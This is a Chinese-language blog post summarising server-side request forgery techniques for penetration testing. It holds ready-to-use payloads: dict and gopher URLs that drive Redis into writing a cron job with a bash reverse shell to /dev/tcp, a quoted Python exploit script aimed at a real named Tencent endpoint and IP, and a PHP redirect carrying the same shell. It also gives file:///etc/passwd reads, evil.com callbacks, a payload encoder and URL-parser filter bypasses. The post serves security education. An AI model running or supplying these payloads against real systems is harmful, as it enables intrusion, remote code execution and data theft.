SSRF 的那些问题 | Geez

> SSRF 问题总结

前言

SSRF 是非常容易忽略的一个漏洞，我甚至在渗透测试的项目中甚至不会去深究这方面的漏洞，因为它通常危害较小，并且极难利用。但是上次我在一个项目中发现了一个 SSRF，并且同服务器还有另一个对内开放的网站，这样这个 SSRF 就为攻击者建立了一个从对外开放到网站渗透到对内开放的网站。最后利用 SSRF 探测到了对内开放的那个网站有 sql 注入，虽然没有 getshell，但是还是引起了重视，SSRF 在很多时候还是有用武之地的。

SSRF

SSRF(Server-Side Request Forgery: 服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。很晦涩！！！举个例子：服务端有一个在线加载图片的功能，你传入一个图片 URL，网站就会加载出来对应图片，所以图片的 URL 是网站服务器去访问的，如果我们利用这点传入一些只有服务端才能进行访问的 URL，比如不对外开放的后台地址，那么这个过程就是服务端的请求伪造。

常简存在 SSRF 漏洞的函数

php

1.file_get_contents()
2.fsockopen()
3.curl_exec() 默认不支持 302 跳转的

java

1.HttpClient
2.Request (对 HttpClient 封装后的类)
3.HttpURLConnection
4.URLConnection
5.URL
6.okhttp
以上的几个发送网络请求的类都有可能导致 SSRF，但是 java 的各个类对协议的支持各有不同，所以利用过程首先得确定支持哪些协议。

SSRF 支持的协议

这里协议描述的细一点，也参考了各个文章的 trick。因为协议的技巧都是通用的，xxe、文件读取、文件包含等都可能用的上。

语言支持协议表	php	Java	curl	Perl	ASP.NET
http/https	√	√	√	√	√
	with	Before	before 7.49.0 不支持		Before

语言支持协议表	php	Java	curl	Perl	ASP.NET
gopher	–with–curlwrappers	Before JDK1.7	before 7.49.0 不支持 \ x00	√	Before version 3
tftp	–with–curlwrappers	X	before 7.49.0 不支持 \ x00	X	X
dict	–with–curlwrappers	X	√	X	X
file	√	√	√	√	√
ftp	√	√	√	√	√
imap	–with–curlwrappers	X	√	√	X
pop3	–with–curlwrappers	X	√	√	X
rtsp	–with–curlwrappers	√	√	√	√
smb	–with–curlwrappers	√	√	√	√
smtp	–with–curlwrappers	X	√	X	X
telnet	–with–curlwrappers	X	√	X	X

语言支持协议表	php	Java	curl	Perl	ASP.NET
ssh2	受限于 allow_url_fopen	X	X	受限于 NET:SSH2	X
ogg	受限于 allow_url_fopen	X	X	X	X
expect	受限于 allow_url_fopen	X	X	X	X
ldap	X	X	X	√	X
php	√	X	X	X	X
zlib/bzip/zip	受限于 allow_url_fopen	X	X	X	X

SFTP

在这里，Sftp 代表 SSH 文件传输协议（SSH File Transfer Protocol），或安全文件传输协议（Secure File Transfer Protocol），这是一种与 SSH 打包在一起的单独协议，它运行在安全连接上，并以类似的方式进行工作。

```
http://test.net/ssrf.php?url=sftp://evil.com:11111/

evil.com:
$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)SSH-2.0-libssh2_1.4.2
```

DICT

DICT 主要用来探测端口和服务是否开启，当然它也可以进行 redis 的利用，乌云的猪猪侠就有一个经典的 SSRF+dict 协议 + redis 未授权 getshell，此外小米也出现过相同的问题，所以 DICT 协议在 SSRF 用处还是蛮大的。

判断 DICT 是否可用：

```
http://safebuff.com/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)CLIENT libcurl 7.40.0
```

探测端口：

```
http://192.168.37.18/ssrf/?url=dict://127.0.0.1:9999
```

使用 dict 协议向 Redis 数据库写 shell

关于 dict 协议：

> dict://serverip:port/ 命令: 参数
> 向服务器的端口请求 命令: 参数，并在末尾自动补上 \ r\n(CRLF)，为漏洞利用增添了便利

DICT 对 redis 的利用 (引用了腾讯的 SSRF 漏洞的代码)：

```
#!/usr/bin/env python


import requests
host = '42.62.67.198'
port = '6379'
bhost = 'fuzz.wuyun.org'
bport = '8080'
vul_httpurl = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url='
_location = 'http://fuzz.wuyun.org/302.php'
shell_location = 'http://fuzz.wuyun.org/shell.php'
```

```
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
    host = host,
    port = port,
    bhost = bhost,
    bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri

print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
    host = host,
```

```
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
```

```
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
```

gopher

这个协议要写的长一点, 他是一个 TCP/IP 层协议，所以可以干很多事情，它可以 GET 请求也可以 POST 请求, 还可以发邮件、攻击 mysql、redis、fastcgi 等等，总之就是挺强大的。但是记住 gopher 协议的默认端口是 70, 所以如果伪造 http 协议记得写端口。另外推荐一个生成 gopher 协议 payload 的工具： gopherus （注意 payload 需要 URL 编码一次，也就是二次编码）

gopher 可以进行 get 和 post 和其他一些协议的处理, 尤其是 POST, 所以经常用来进行漏洞利用, 比如内网的其他网站的攻击, 上传文件, POST 一些参数等等。gopher 协议的格式: `gopher:/ip:port/_ + payload`
下面举个例子

```
http://192.168.37.18/ssrf/?url=gopher://192.168.37.18:80/%20GET%20/index.php
```

```
http://192.168.34.29/ssrf/index.php?url=gopher://192.168.34.29:80/_POST%20%2fssrf%2fflag.php%20HTTP%2f
1.1%250d%250aHost%3A%20192.168.34.29%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250
d%250aContent-Length%3A%206%250d%250a%250d%250aflag%3D1（在nginx 1.11下POST数据未成功，日志查询POST为两个 -
```

现在还没找到原因，知道原因的同学可以留言）

```
gopherus --exploit zabbix
gopherus --exploit redis
gopherus --exploit mysql
...
gopher是SSRF中最强大的一个协议，请首先确定该协议是否可用。
```

gopher 为啥特别危险呢？因为他可以被称为万能协议，可以发起其他各种协议的请求，攻击 redis、mysql、fastcgi 等。比如攻击 redis：

```
[root@Centos ~]
> 2018/09/25 10:35:24.944863  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2018/09/25 10:35:24.948320  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.955995  length=88 from=0 to=87
*3\r
$3\r
set\r
$1\r

1\r
$61\r


*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1


\r
< 2018/09/25 10:35:24.956209  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.959588  length=57 from=0 to=56
*4\r
```

```
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2018/09/25 10:35:24.960138  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.967473  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/09/25 10:35:24.967772  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.974068  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/09/25 10:35:24.976103  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.983836  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/09/25 10:35:24.984123  length=5 from=0 to=4
+OK\r
```

引用下 JoyChou 师傅的转换脚本:

```
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue

        elif line[-3:-1] == r'\r':

            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')

                line = line.replace('\n', '')
                exp = exp + line

        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
```

转换规则如下：

- 如果第一个字符是 > 或者 < 那么丢弃该行字符串，表示请求和返回的时间。
- 如果前 3 个字符是 + OK 那么丢弃该行字符串，表示返回的字符串。
- 将 \ r 字符串替换成 %0d%0a

- 空白行替换为 %0a
  构造 gopher 协议利用：
  *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash –i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
  如果要换 IP 和端口，前面的 $61 也需要更改，$61 表示字符串长度为 61 个字节，上面的 EXP 即是 %0a%0a%0a*/1 * * * * bash –i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0a，3+54+4=58。
  本地 curl 测试，返回 4 个 OK 说明成功执行

file

```
http://127.0.0.1/?url=file:///etc/passwd
http://192.168.37.18/ssrf/?url=file:///E:/readme.txt
```

ldap

```
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit
```

TFTP

```
http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:
```

绕过技巧

1. 利用 302 跳转绕过协议限制

2.127 段全部都是本地地址 绕过对 127.0.0.1 的限制

3. 工具探测 -> ssrfmap

CTF 技巧

php 中的 parse_url 和 libcurl

题目（一个 SSRF 利用 mysql 的题目）不放了，这里也不是写 CTF 解题过程的，大概代码流程：

```
url->php parse_url（过滤ip）->过滤url各部分(空白字符和数字)->curl发送请求
```

可利用 parse_url 和 libcurl 对 url 解析的差异来绕过。

完整 url: `bash scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]`
这里仅讨论 url 中不含'?'的情况

php parse_url：
host: 匹配最后一个 @后面符合格式的 host

libcurl：
host：匹配第一个 @后面符合格式的 host

如： http://u:p@a.com:80@b.com/

php 解析结果：
schema: http

schema: http

host: b.com

user: u

pass: p@a.com :80

libcurl 解析结果：

schema: http

host: a.com

user: u

pass: p

port: 80

后面的 @b.com / 会被忽略掉

我们可以构造一个 URL 地址，用来让 php 认为 host 是 b.com 而 libcurl 实际请求另一个域名。

```
http://u:p:@a.com:3306@b.com/
http://u:@a.com:3306@b.com/
```

但是这里还有一个问题，开头流程中说明了 php 解析 URL 后会过滤空白字符和数字。数字会被过滤，所以，a.com:3306 是不行的，3306 只能放在最后，但是放在最后端口就无法被 curl 获取到，但是根据 rfc3986 规定可以：

gopher://foo@[cafebabe.cf]@yolo.com:3306

> A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets (“[“and “]“). This is the only place where square bracket characters are allowed in the URI syntax.
> IP-literal = “[“(IPv6address / IPvFuture) “]”
> 也就是说 [ip] 是一种 host 的形式，libcurl 在解析时候认为 [] 包裹的是 host

还有一种十六进制表现形式
gopher://foo@localhost: f@ricterz.me :3306/

参考资料

- 《Build Your SSRF EXP Autowork》猪猪侠
- 腾讯某处 SSRF 漏洞（非常好的利用点）附利用脚本
- bilibili 某分站从信息泄露到 ssrf 再到命令执行
- 从一道 CTF 题目看 Gopher 攻击 Mysql
- gopher 在 ssrf 中攻击内网的示例